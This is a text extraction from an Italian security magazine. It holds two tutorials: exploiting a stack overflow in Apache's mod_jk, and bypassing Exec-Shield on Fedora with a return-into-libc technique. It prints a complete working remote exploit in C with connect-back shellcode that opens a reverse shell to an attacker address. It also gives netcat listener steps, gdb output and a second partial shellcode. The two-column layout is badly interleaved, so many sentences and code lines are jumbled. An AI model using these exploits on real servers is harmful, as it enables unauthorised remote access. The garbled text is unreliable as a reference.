(gdb) x/2000bx 0xbffff578-1400vulnerabile, indica allo stesso tempo quanti byte sono 0xbffff000: 0x41 0x41 0x41 0x41 0x41 0x41 necessari per giungere alla sua alterazione. Essendo 0x41 0x410x49494949 un indirizzo non valido (ovvero un 0xbffff008: 0x41 0x41 0x41 0x41 0x41 0x41

indirizzo non allocato nello spazio di indirizzamento 0x41 0x41

dell'applicazione debuggata e quindi non accessibile 0xbffff010: 0x41 0x41 0x41 0x41 0x41 0x41

dal processore), l'esecuzione dell'istruzione 0x41 0x41

successiva al secondo breakpoint (ret) causerà il […]crash del processo. 0xbffff060: 0x41 0x41 0x41 0x41 0x41 0x41

0x41 0x41

(gdb) c 0xbffff068: 0x41 0x41 0x41 0x41 0x41 0x41

Program received signal SIGSEGV, 0x41 0x41

Segmentation fault. 0xbffff070: 0x41 0x41 0x41 0x41 0x41 0x41

0x49494949 in ?? () 0x41 0x41

0xbffff078: 0x41 0x41 0x41 0x41 0x41 0x41

0x41 0x41(gdb) p $eip

[…]$2 = (void *) 0x49494949

Come viene dettagliato nel sorgente crash.c Fase 2: Determinare in quale area di memoria fare (Tabella 1), 0x41 è la rappresentazione esadecimale puntare l'indirizzo di ritornodel carattere “A” (proprio il punto in memoria che ci

interessa osservare). Quelli mostrati sono tutti indirizzi Come ultimo step volto ad ottenere tutte le

utili, ma per il proseguo dell'articolo utilizzeremo quello informazioni utili per il completamento della prossima

che è stato sottolineato nell'output mostrato sopra ed ultima fase (ovvero quella di creazione dell'exploit

(0xbffff060). Nel nostro exploit questo dovrà remoto) è necessario determinare a quale area di

sostituire l'indirizzo 0x49494949 puntato nel paragrafo memoria l'indirizzo di ritorno sovrascritto dovrà

precedente dal registro EIP[15].puntare. Quella sarà la zona approssimativa in cui

cercheremo di collocare uno shellcode. Il punto più Fase 3: Scrivere l'exploit

logico è verso la seconda metà delle “A" che sono

state utilizzate per riempire gran parte dello spazio del Sostanzialmente sfruttare uno stack overflow si riduce buffer “buf” nel sorgente mostrato in Tabella 1. Per sempre a riempire opportunamente un buffer di dati da

identificare quest'area è necessario analizzare la inviare al server vulnerabile.

memoria del processo debuggato a partire da un [15] Al contrario di ESP ed EBP descritti all'inizio dell'articolo,

indirizzo di ESP inferiore a quello trovato dopo abbiamo tardato di proposito prima di menzionare questo registro.

l'analisi svolta nel secondo breakpoint . Ciò è dovuto al EIP punta sempre alla prossima istruzione che il processore dovrà fatto che nella piattaforma hardware x86 lo stack eseguire.

look at

23

Page 24: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

Contrariamente però al sorgente di esempio ricevere la shell ed in “Selected Encoder” selezionare

mostrato in Tabella 1, l'obiettivo questa volta non è “Alpha2”[17], quindi premere sul pulsante “Generate

fare crashare il servizio, bensì ottenere una shell Payload” e sostituire il vecchio shellcode con il nuovo

remota. Solitamente (e questo caso conferma quella nel codice riportato in Tabella 2. La compilazione del

che viene considerata una quasi regola) la sorgente è sempre la stessa:

costruzione del buffer si sostanzia nel:

$ gcc mod_jk_exploit.c –o mod_jk_exploit

1) riempire una parte cospicua con dei NOP[16]

Prima di lanciare l'exploit dovrete però aprire la porta (0x90);

nella quale volete ricevere la shell. Una sessione di

for(i = 0; i <= 3921; i++) netcat[18] sarà sufficiente (eseguite il programma come buf[i] = 0x90; utente root se intendete utilizzare una porta nel range

1-1024):

2) collocare in seguito lo shellcode;

$ nc –l porta

calc = 4127 - strlen(shellcode) - 4;

memcpy(buf+calc, shellcode, Da un altro prompt avviate quindi l'exploit: sizeof(shellcode));

$ ./mod_jk_exploit ip_del_web_server 80

3) successivamente inserire l'indirizzo di ritorno che

modificherà quello in origine posto nello stack Dalla finestra del netcat potete adesso interagire con il

attraverso l'istruzione “call” dalla funzione che prompt di shell del server vulnerabile:

ha chiamato quella vulnerabile.

id

uid=501(wwwsite) gid=501(wwwsite) long ret = 0xbffff060;

groups=501(wwwsite)[…]

memcpy(buf+4123, &ret, 4);

Quando a seguito dell'overflow del buffer “url” il

return address verrà sovrascritto con 0xbffff060, il

registro EIP puntando a quell'indirizzo continuerà

l'esecuzione del processo dai NOP fino a giungere

allo shellcode che verrà a sua volta eseguito aprendo

una shell. In Tabella 2 riportiamo l'exploit per intero.

Lo shellcode utilizzato in questo caso è un connect-

back (non apre una porta in ascolto sul server [16] No Operation: forza il processore ad eseguire l'istruzione

vulnerabile bensì si connette al sistema dal quale successiva in memoria. La presenza dei NOP aumenta le

l'exploit è stato lanciato e poi fornisce accesso al probabilità di successo di un exploit, in quanto presuppone che non

sia necessario conoscere l'esatto punto in memoria in cui sarà prompt dei comandi). Per eseguire i vostri test collocato uno shellcode.dovrete sostituire questo shellcode con uno

personalizzato. E' sufficiente collegarsi al sito [17] Un classico shellcode non funzionerebbe in quanto molti dei

caratteri di cui è composto verrebbero filtrati da Apache, http://metasploit.com:55555/PAYLOADS, precludendo la corretta riuscita dell'attacco.indicare in “ADDR” l'indirizzo IP dal quale intendete

lanciare l'exploit, in “PORT” la porta nella quale volete [18] http://www.vulnwatch.org/netcat/

I sorgenti di esempio riportati in Tabella 1 ed

in Tabella2 possono essere prelevati dal sito

http://www.segfault.it/SS/001/vanillab0f/

mod_jk_exploit.tar.gz

look at

24

Page 25: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

TABELLA 1: crash.c

/* crash.c */#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>#include <errno.h>#include <string.h>#include <strings.h>

int main(int argc, char *argv[]){ /* 32 byte */ char crash [] = "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII";

/* descrittori, variabili e strutture utilizzate dal programma */ int fd, i = 0; struct sockaddr_in xab;

/* "buf": buffer che conterrà l'URI della richiesta HTTP

"request": variabile che conterrà l'intera richiesta HTTP comprensiva di URI */ char buf[5000], request[8000];

/* Se non vengono passati due parametri al programma, mostra la sintassi di utilizzo ed esci */ if (argc != 3) { printf("%s: ip port\r\n", argv[0]); exit(0); }

/* Si crea un socket TCP per connettersi al web server */ fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("socket: %s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

/* Si azzerano strutture e buffer prima dell'utilizzo */ memset(&buf, 0, sizeof(buf)); memset(&request, 0, sizeof(request)); memset(&xab, 0, sizeof(xab));

/*

look at

25

Page 26: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

si definiscono famiglia, porta ed indirizzo al quale ci si connetterà attraverso questo socket

*/ xab.sin_family = AF_INET; xab.sin_port = htons(atoi(argv[2])); xab.sin_addr.s_addr = inet_addr(argv[1]);

/* buf viene riempito di "A" (0x41) per 4095 byte */ for(i = 0; i <= 4094 ; i++) buf[i] = 0x41;

/* in seguito viene copiato all'interno di "buf" il contenuto di "crash" generando un URI del tipo:

AAAAAAAA[x4095]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"

*/ memcpy(buf+4095, crash, sizeof(crash));

/* Viene creata una richiesta HTTP del tipo:

GET /[URI] HTTP/1.0 */ sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf); printf("Invio: \r\n%s\r\n", request);

/* Ci si connette al web server */ i = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (i == -1) { printf("connect: %s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

/* Si invia la richiesta HTTP al web server */ send(fd, request, strlen(request), 0);

/* Si chiude la comunicazione con il web server */ close(fd);}

look at

TABELLA 2: mod_jk_exploit.c

/* mod_jk_exploit.c */#include <stdio.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <error.h>

26

Page 27: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

#include <errno.h>#include <string.h>#include <strings.h>

int main(int argc, char *argv[]){ /* Connect-Back Shellcode

Sostituiscilo generandone uno personale visitando il sito http://metasploit.com:55555/PAYLOADS Questo shellcode fa una reverse connect all'indirizzo 192.168.0.248 sulla porta 4321 */ char shellcode [] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x49" "\x58\x50\x30\x42\x31\x42\x41\x6b\x42\x41\x59\x32\x42\x42\x32\x41" "\x41\x30\x41\x41\x58\x50\x42\x38\x42\x42\x75\x38\x69\x70\x31\x6b" "\x6b\x62\x73\x62\x63\x71\x43\x61\x7a\x63\x32\x53\x5a\x45\x36\x52" "\x78\x4f\x79\x6d\x31\x7a\x6d\x4d\x50\x6e\x73\x42\x79\x6c\x70\x45" "\x6f\x6a\x6d\x6f\x70\x73\x79\x62\x59\x58\x79\x41\x4b\x51\x4a\x41" "\x78\x4b\x70\x4f\x58\x65\x50\x4b\x4e\x31\x76\x30\x68\x76\x70\x68" "\x61\x71\x53\x42\x46\x70\x53\x6f\x79\x69\x71\x6e\x50\x51\x76\x66" "\x30\x33\x61\x31\x43\x6b\x39\x6d\x31\x73\x73\x38\x4d\x4f\x70\x63" "\x62\x43\x58\x36\x4f\x36\x4f\x50\x73\x75\x38\x42\x48\x66\x4f\x52" "\x42\x71\x79\x50\x6e\x4d\x59\x4b\x53\x43\x62\x36\x33\x4d\x59\x6d" "\x31\x6e\x50\x76\x6b\x7a\x6d\x4b\x30\x49";

int fd, i = 0; int calc; struct sockaddr_in xab; char buf[4128], request[8000];

/* Puntatore ai NOP che precedono lo shellcode in memoria. L'indirizzo è stato testato sia su Red Hat 7.2 che su Debian 3.0/3.1/4.0 */ long ret = 0xbffff060;

if (argc != 3) { printf("%s: ip port\r\n", argv[0]); exit(0); }

fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

memset(&buf, 0, sizeof(buf)); memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(atoi(argv[2])); xab.sin_addr.s_addr = inet_addr(argv[1]);

look at

27

Page 28: Security System

LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK

/* Riempiamo buf per 3922 byte di NOP */ for(i = 0; i <= 3921; i++) buf[i] = 0x90;

/* Calcoliamo da quale posizione all'interno di buf parte la copia dello shellcode, ovvero da:

4127 byte (dimensione totale dell'URI senza lo "/") - dimensione dello shellcode (202 byte) - 4 byte di return address = 3921 */ calc = 4127 - strlen(shellcode) - 4; memcpy(buf+calc, shellcode, sizeof(shellcode));

/* Collochiamo alla fine di "buf" il valore che sovrascriverà il return address della funzione vulnerabile */ memcpy(buf+4123, &ret, 4);

sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf);

printf("[*] Connect to remote host...\r\n"); i = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (i == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); }

printf("[*] Send data to remote host...\r\n"); send(fd, request, strlen(request), 0);

sleep(1); printf("[*] Done...checks for shell\r\n"); close(fd);}

look at

28

Page 29: Security System

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

Execute della tabella di paging dei sistemi x86-64. IntroduzioneNon possiamo utilizzare più i tradizionali shellcode?

Benissimo…rifugiamoci allora nelle più complesse e uando nella primavera del 2003 venne mai tramontate tecniche return-into-libc . rilasciata la Red Hat 9.0 ed annunciato che Impossibile…su Fedora gli indirizzi delle librerie di sarebbe stata l'ultima distribuzione della Qsistema sono collocati sotto i 16 MB e sono tutti quanti serie liberamente scaricabile dalla rete, molti utenti costituiti da un NULL byte iniziale (ad esempio (tra cui il sottoscritto) avvertirono un leggero ma 0x004abd55), circostanza che rende inutile nella fastidioso tonfo al cuore. Per gli hacker di metà/fine

maggior parte dei casi lo sfruttamento di un attacco di anni 90, le diverse versioni del sistema operativo

tipo return-into-libc (Ndr. almeno nelle modalità e dalla compagnia con il simbolo del cappello sviluppat

tradizionali). No, nemmeno linux-gate.so.1 (che ha rosso hanno significato molto. Chi ha infatti

fatto la felicità di moltissimi utenti/smanettoni di cominciato a smanettare in quel periodo ben si ricorda

Slackware ed Ubuntu) può esserci utile in questo [1]gli exploit rilasciati dal teso-team per i demoni wu-

caso, anche a causa del le propr ietà di ftpd, rpc.statd, lpd ed i target principali a cui essi

randomizzazione (ASLR) che riguardano tanto lo miravano (appunto Red Hat 6.0, 6.1, 6.2 e 7.0,

spazio di indirizzamento virtuale dei processi, quanto distribuzioni con le quali era al tempo abbastanza [3]il Virtual DSO , proprietà che rende impossibile comune imbattersi mentre si smanettava in rete). Poi

predire con esattezza dove funzioni o istruzioni di [2]arrivò Fedora e ben presto si capì che Red Hat

interesse verranno collocate in memoria. Queste ed avrebbe utilizzato il progetto come banco di prova per

una serie di altre difficoltà hanno così spinto alcuni testare nuove funzionalità da portare in seguito sui

personaggi della rete a definire Fedora “la bestia nera rilasci stabili delle edizioni commerciali dei suoi

degli hacker” ed Exec-Shield “il mostro“ o “la cosa“, prodotti. Fedora oggi è quindi divenuta la distribuzione

termini di comune richiamo cinematografico utilizzati di riferimento per chi un tempo usava ed apprezzava

proprio per cercare di rendere l'idea del livello di gratuitamente Red Hat Linux. Sono passati però

complessità aggiunto al corretto exploiting di un quasi nove anni dalla storica vulnerabilità della

comune buffer overflow. versione 2.6.0(1) del wu-ftpd o dalle versioni buggate

di rpc.statd ed il panorama della sicurezza informatica

è cambiato sensibilmente da allora, soprattutto con

l'avvento delle nuove tecnologie che sin dall'inizio

hanno promesso di rendere “vicino all'impossibile” lo

sfruttamento delle comuni falle software come gli

stack overflow.

Effettivamente l'introduzione delle moderne misure di

protezione ha portato innumerevoli grattacapi a chi

fino a poco tempo prima era abituato a sfruttare nelle

modalità tradizionali un “comune” e per certi versi

“banale” stack overflow. Fedora è proprio una di quelle

distribuzioni hardenizzate al midollo, distribuzione che

soprattutto a partire dalla versione Core 5 ha fiaccato

gli animi di moltissimi hacker (o sedicenti tali) facendo

apparire anche lo sfruttamento di un banale stack

overflow, un'impresa da titano. Primo imputato in aula

per questo panico generale, Exec-Shield, la

tecnologia che simula a livello software il bit No-

[1] Celebre hacker crew che ha operato fra il 1998 ed il 2004.

[2] http://fedoraproject.org/: Progetto open source sponsorizzato

ma non direttamente sostenuto da Red Hat. E' sostanzialmente

una distribuzione Linux client/server side fedele nelle funzionalità

alle edizioni commerciali di Red Hat Enterprise Linux.

[3] Oggetto condiviso esposto dal kernel per implementare le

virtual syscall. Consiste in una pagina di memoria mappata nello

spazio di indirizzamento virtuale di ogni processo e collocata

spesso ad un indirizzo fisso, nella maggior parte dei casi anche

quando /proc/sys/kernel/randomize_va_space risulta

essere attivo (ovvero impostato ad 1).

29

Page 30: Security System

disassemblare ed inserire un punto di arresto do_it()Exec-Shield un po' più da vicino…un attimo prima che la funzione ritorni. Dopo abbiamo

avviato con il comando “ ” del gdb. server_vuln runLeggendo fin qui verrebbe da asserire che bypassare

Poiché l'unica variabile allocata all'inizio nello stack Exec Shield sia praticamente impossibile. Niente di più

frame della funzione è , dovrebbero sbagliato! Attualmente esistono almeno due/tre metodi do_it() request

essere sufficienti 264 byte per riuscire a manipolare noti per farlo, ognuno con i suoi pro ed i suoi contro ed

arbitrariamente EIP (256 byte per il sovrascrivere il ognuno sfruttabile a seconda di precise circostanze

buffer, 4 byte per sovrascrivere il Frame Pointer ed che si devono verificare durante la fase di exploiting o

altri 4 byte per sovrascrivere l'Instruction Pointer). che dipendono dal modo in cui l'applicazione

Proviamo quindi da un prompt dei comandi differente a vulnerabile è stata scritta. Oggi descriveremo in

vedere cosa succede inviando 264 'A' al servizio:dettaglio uno di questi tre metodi partendo dal codice

fallato di esempio riportato in Tabella 1. Si tratta di un

# telnet attack_machine 60000semplice servizio che si mette in ascolto sulla porta Trying xxx.xxx.xxx.xxx...TCP 60000, prende via socket una stringa inviata Connected to attack_machine.dall'utente, la ristampa a video e chiude la Escape character is '^]'.connessione. La parte più interessante è costituita AAAAAAAAAAAAAAAAAAAAAAAAAA[…]

dalla funzione e precisamente dalla do_it()

che cerca di copiare la stringa ricevuta strcpy()Completato questo task il debugger si arresta al

dall'utente all'interno di , un array di caratteri requestbreakpoint dichiarato. Uno sguardo all'attuale

della dimensione di 256 byte. Tuttavia dal è main()conformazione dello stack ci rivela che l'arrary

possibile notare che la richiesta dell'utente letta è stato correttamente sovrascritto così come requestattraverso viene scritta in (un char array di read() mex

l'indirizzo del Frame Pointer e dell'Instruction Pointer: 1024 byte) prima di essere trasferita alla funzione

e quindi a . Ciò significa che l'utente handle() do_it() Breakpoint 1, 0x080488dd in do_it ()

può inviare più di 256 byte di dati e causare così uno (gdb) p $esp

$1 = (void *) 0xbfc341ecstack overflow.

(gdb) x/4bx 0xbfc341ec

0xbfc341ec: 0x41 0x41 0x41 0x41Osserviamo più da vicino cosa accade quando il

sorgente di esempio della Tabella 1 viene compilato ed

Infatti L'Instruction Pointer punta a (le 0x41414141eseguito su Fedora Core 7. Per capire meglio quali

ultime quattro A inviate al servizio). Continuando difficoltà Exec-Shield antepone all'esecuzione di

l'esecuzione dell'applicazione da questo punto, codice remoto avviamo una sessione di debugging con

l'istruzione “ ” dovrebbe prelevare dallo stack retgdb:

l'indirizzo sovrascritto e causare un Segmentation

# gcc server_vuln.c –o server_vuln Fault ( è relativo ad un'area di memoria 0x41414141

# gdb ./server_vuln inesistente). Ma vediamo cosa accade in realtà:(gdb) disas do_it

Dump of assembler code for function do_it:(gdb) c

[…]Continuing.

0x080488dd <do_it+86>: ret

End of assembler dump.Program received signal SIGSEGV,

(gdb) break *0x080488ddSegmentation fault.

Breakpoint 1 at 0x80488dd0x080488dd in do_it ()

(gdb) run(gdb) p $eip

$2 = (void (*)()) 0x80488dd <do_it+86>Ciò che abbiamo fatto qui è stato semplicemente

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

30

Page 31: Security System

effettivamente possibile. Tra lo stack frame della Dal debugger apprendiamo che dopo il crash

funzione vulnerabile e quello della funzione chiamante dell'applicazione, il registro EIP non punta

o delle funzioni ancora antecedenti, deve essere direttamente a 0x41414141, bensì all'indirizzo

dichiarato da qualche parte (attenzione non 0x80488dd che nel listato assembly visualizzato in immediatamente prima dello stack frame della precedenza corrisponde proprio all'istruzione “ret” in funzione vulnerabile ma una manciata di byte più in do_it(). In parole povere Exec-Shield ha fatto il suo là che quantificheremo meglio dopo) un puntatore al

dovere e non ha permesso che il registro EIP venisse buffer che viene sovrascritto.

manipolato a piacimento dall'attacker ed utilizzato per

puntare ad un eventuale shellcode nello Stack.

La teoria dietro l'attaccoBye Bye Stack Memory

I n rea l t à non abb iamo anco ra r i spos to

L'ultima frase del paragrafo precedente è vitale per esaurientemente alla domanda posta poco prima:

comprendere la tecnica che ci stiamo accingendo a come fare a collocare uno shellcode al di fuori dello

descrivere e merita pertanto di essere riletta con Stack? La tecnica che ci accingiamo a spiegare (per il

attenzione. Non possiamo posizionare uno shellcode momento in modo teorico e solo successivamente sul

nello stack non significa però che non possiamo pratico) non è in realtà nuova ma è un riadattamento di

collocarlo in un'area di memoria differente, [4]quanto descritto da Nergal nel numero 58 di Phrack .

possibilmente dotata di permessi in scrittura ed Essa dimostra che gli attacchi basati su shellcode sono

esecuzione: ancora possibili su distribuzioni come Fedora pur la

presenza di misure di protezione complesse come # ps –wuax | grep server_vuln Exec-Shield. Questa tecnica funziona con minime root 2374 0.0 0.1 1588 332 pts/0 T modifiche sia su Fedora che su Red Hat Enterprise e 19:29 0:00 /usr/local/test/server_vuln

[5]CentOS . I test dai noi condotti sono stati comunque

svolti su Fedora Core 6 e la più recente edizione Core # cat /proc/2374/maps

7.[…]

004bd000-004be000 rwxp 0001b000 fd:00 Per collocare uno shellcode in una zona di memoria 2258040 /lib/ld-2.6.soresidente all'esterno dello Stack, accessibile sia in […]

scrittura che in esecuzione, possiamo avvalerci di un 00610000-00611000 rwxp 00150000 fd:00

attacco avanzato del tipo return-into-libc utilizzando la 2258041 /lib/libc-2.6.so

strcpy()[…] funzione di sistema . L'attacco è riassumibile

in quattro semplici punti:

Osservando lo stato della memoria dell'applicazione

vulnerabile di esempio, quest'area potrebbe benissimo

essere un qualsiasi punto nel range di indirizzi di ld-

2.6.so o libc-2.6.so. Entrambi queste due librerie

linkate dinamicamente a server_vuln possono infatti

essere utilizzate per scrivere istruzioni che verranno

interpretate come eseguibili dal processore (notare i

permessi assegnati rwxp). La domanda a questo punto

è: come fare a scrivere uno shellcode in un indirizzo

residente all'esterno dello Stack? Si deve verificare un'unica condizione vitale affinché ciò possa essere

[4] http://www.phrack.org/archives/58/p58-0x04: The advanced

return-into-lib(c) exploits.

[5] http://www.centos.org/: distribuzione derivata da Red Hat

Enterprise Linux e gratuitamente scaricabile.

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

31

Page 32: Security System

Dopo aver saturato il buffer non controllato I vantaggi del riadattamento della tecnica dell’applicazione di esempio: di Nergal

1) L'indirizzo di ritorno della funzione vulnerabile Questa tecnica (che ci accingiamo a sfruttare sul

(ovvero nel nostro caso do_it()) viene alterato pratico) permette di rendere nulle alcune misure di

con l'indirizzo in memoria in cui si trova protezione implementate su Red Hat Linux e le

un'istruzione “ret”. Nella maggior parte delle distribuzioni derivate (Fedora e CentOS). Più

precisamente di:circostanze queste istruzioni necessitano di

essere concatenate una di seguito all'altra (riferirsi - bypassare Exec-Shield: possiamo eseguire del a tal proposito alla Figura 1) in modo da allineare il

codice da remoto attraverso shellcode.puntatore allo shellcode e renderlo il secondo

parametro della strcpy() invocata al punto 2. - bypassare i meccanismi di Address Space

Layout Randomization: non abbiamo bisogno di [6]2) A seguire viene collocato l'indirizzo PLT della

conoscere con esattezza l'indirizzo nello stack in funzione strcpy().

cui si trova lo shellcode, basta semplicemente

sapere la distanza quantificata a gruppi di 4 byte 3) Successivamente viene collocato di nuovo

che intercorre tra l'indirizzo di ritorno sovrascritto l'indirizzo in memoria in cui si trova un'istruzione

della funzione vulnerabile ed il puntatore allo “ret”. Operando in questo modo al ritorno da

shellcode dichiarato più in là nello stack (vi strcpy() il flusso di esecuzione del programma

ricordate la condizione vitale che si doveva proseguirà dall'indirizzo della libreria dichiarato al

verificare e che abbiamo citato un paio di paragrafi punto 4, eseguendo effettivamente lo shellcode.

addietro?).

4) Infine viene posto nello Stack l'indirizzo di una - evitare di utilizzare funzioni di sistema qualsiasi area di memoria marcata come collocate sotto i 16 MB: in effetti viene utilizzato accessibile in scrittura ed esecuzione (fare l'indirizzo PLT di strcpy() che è dichiarato riferimento al paragrafo precedente per capire sempre in un punto fisso del file binario e non come identificarla). l'indirizzo nella libreria di sistema che contiene un

NULL byte. Ciò rende ancora possibile usufruire a L'effetto prodotto alla fine sarà che il contenuto piacimento di tecniche return-into-libc[7].dell'area di memoria puntata nello step 1 (dove

risiederà lo shellcode) verrà copiato all'indirizzo

specificato nel punto 4. Successivamente questo

verrà invocato per mezzo del ret dichiarato al punto 3.

Trattandosi di una zona marcata come eseguibile, le

istruzioni qui residenti verranno interpretate come

codice ed opportunamente eseguite dal processore.

Complimenti…avete eseguito una shell!

Tecnica avanzata Return-Into-Libc

RET RET RET...

strcpy() PLT RETRWX Library

AddressShellcode

Pointer

Figura 1: Collocazione nello stack degli elementi utili ad eseguire uno

shellcode in presenza di Exec-Shield

[6] Procedure Linkage Table: E' una tabella che i file in formato

ELF utilizzano per il linking dinamico, ovvero per consentire alle

applicazioni di accedere a runtime alle funzioni contenute in una

libreria di sistema (ad esempio libc). All'esecuzione del

programma, durante la chiamata ad una funzione contenuta in una

libreria di sistema, viene invocata con un'istruzione “call” la

relativa entry PLT che a sua volta salta ad un indirizzo nella Global

Offset Table (GOT) che punta al vero codice della funzione.

[7] Se la vulnerabilità applicativa che si sta cercando di sfruttare

deriva da una delle funzioni C di gestione delle stringhe come

strcpy(), la presenza di un NULL byte nel buffer sovrascritto

determinerà l'interruzione immediata della copia dei dati,

risultando in un attacco incompleto e quindi non funzionante.

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

32

Page 33: Security System

0x41 0x41Bene. Adesso è arrivato il momento di mettere in […]pratica quanto sinora scritto solo in modo teorico. 0xbfe41540: 0x41 0x41 0x41 0x41 0x41 0x41

Come al solito la creazione di un exploit funzionante 0x41 0x41

richiederà la raccolta di alcune informazioni

L'indirizzo 0xbfe41440 punta infatti al buffer di “A” preventive. Procediamo quindi.

inviato dall'utente. Esattamente la condizione che ci

serve per bypassare Exec-Shield. Lo scopo è quindi Fase 1: Trovare l'offset del puntatore allo quello di costruire opportunamente i contenuti che shellcodefanno seguito al buffer saturato in modo da allineare

nello stack gli argomenti richiesti dalla strcpy(). Uno Come già detto la condizione primaria all'exploiting

di questi è proprio il puntatore in memoria in cui risiede della vulnerabilità del sorgente mostrato in Tabella 1 è

lo shellcode!che nello Stack deve risiedere, ad una sufficiente

distanza dal frame della funzione vulnerabile, un

puntatore che punti al buffer sovrascritto. Cerchiamo di Fase 2: Trovare l'indirizzo di un'istruzione capire se questo è il nostro caso. Riavviamo la stessa

retsessione di debugging ed inseriamo lo stesso

breakpoint come già spiegato nel paragrafo “Exec-L'indirizzo di un'istruzione “ret” ci serve per allineare

Shield un po' più da vicino” a pagina 30. Sempre nello stack gli argomenti che verranno passati alla

come riportato in quel paragrafo, colleghiamoci al strcpy(), fungendo null'altro che da padding:

servizio ed inviamo 264 byte di dati. Al manifestarsi del

breakpoint analizziamo il contenuto dello Stack a (gdb) disas do_it

partire dall'attuale indirizzo puntato da ESP:[…]

0x080488dd <do_it+86>: ret(gdb) x/100bx $esp

0xbfe413fc: 0x41 0x41 0x41 0x41 Per lo scopo possiamo benissimo utilizzare

0x0d 0x0a 0x00 0xbf“0x080488dd” ma in linea di massima qualsiasi altro

0xbfe41404: 0x70 0x44 0x4b 0x00 punto nel binario contenente questa istruzione andrà 0xf4 0xff 0x60 0x00

bene.0xbfe4140c: 0x20 0x14 0xe4 0xbf

0xd0 0x13 0x58 0x00

0xbfe41414: 0xf3 0x13 0x58 0x00 Fase 3: Trovare l'indirizzo PLT di strcpy() 0x78 0x18 0xe4 0xbf

0xbfe4141c: 0x20 0x88 0x04 0x08

0x40 0x14 0xe4 0xbf Trovare l'indirizzo PLT di strpcy() è altrettanto

[…] semplice. Sempre disassemblando la funzione

do_it() da gdb si deve identificare l'apposita

L'output è stato suddiviso a blocchi di 4 byte per istruzione “call”:

maggiore comprensione. Il primo indirizzo […](0x41414141) corrisponde al return address 0x080488c1 <do_it+58>: call 0x8048518 sovrascritto. 9 indirizzi più avanti troviamo proprio ciò <strcpy@plt>

che stavamo cercando:[…]

(gdb) x/264bx 0xbfe41440Nel nostro esempio “0x8048518” è l'indirizzo che ci

0xbfe41440: 0x41 0x41 0x41 0x41 0x41 0x41 serve.

0x41 0x41

0xbfe41448: 0x41 0x41 0x41 0x41 0x41 0x41

look at LINUXBYPASSARE EXEC-SHIELD SU FEDORA

E REDHAT LINUX (x86)

33

Page 34: Security System

spazzatura) per raggiungere i 260 byte (ovvero per Fase 4: Identificare un'area in memoria arrivare a sovrascrivere il Frame Pointer della funzione accessibile in scrittura ed esecuzionevulnerabile):

Qui basta semplicemente individuare il pid del servizio "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" vulnerabile ed analizzare il filesystem . Un /proc "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

esempio di questo tipo lo abbiamo già mostrato nel "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"paragrafo “Bye Bye Stack Memory” a pagina 31.

"AAAAAAAA"Approfittando di quell'output possiamo scegliere un

qualsiasi indirizzo compreso fra e 0x004bd000 Successivamente dovranno essere concatenate sei oppure fra e . 0x004be000 0x00610000 0x00611000istruzioni “ ”:ret

Nel nostro caso la scelta è caduta su .0x004bd055

"\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08"Ultimo step: Creare l'exploit "\xdd\x88\x04\x08\xdd\x88\x04\x08"

Osserviamo per un momento ancora il contenuto dello Quindi andrà posto l'indirizzo PLT della funzione Stack così come mostrato con il gdb durante la Fase 1, :strcpy()ovvero poco prima che l'overflow si manifestasse.

Mettendo in conto lo stesso return address sovrascritto, "\x18\x85\x04\x08"

sappiamo che da esso al puntatore del buffer utente ci Ancora un'istruzione “ ”:retstanno in mezzo 9 indirizzi. Ciò sarà sempre vero. Ad

ogni nuova esecuzione dell'applicazione potrà variare "\xdd\x88\x04\x08"

l'indirizzo base dello Stack Pointer per le proprietà

Ed infine l'indirizzo prescelto che punta all'area di ASLR del sistema operativo, ma la distanza degli

memoria accessibile in scrittura ed esecuzione:argomenti rimarrà sempre la stessa. Per avere un

allineamento come quello della Figura 1, la stringa "\x55\xd0\x4b\x00";

inviata al servizio vulnerabile dal nostro exploit

(riportato in Tabella 2) dovrà comporsi delle seguenti Adesso mettiamo nuovamente sotto debugging parti. All'inizio verrà collocato lo shellcode: l'applicazione vulnerabile ed impostiamo un break point

prima del ritorno della funzione . Fatto ciò, do_it()char shellcode[] = compiliamo e lanciamo l'exploit in Tabella 2: "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74"

"\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" $ gcc exploit.c –o exploit "\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61" $ ./exploit indirizzo_ip "\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"

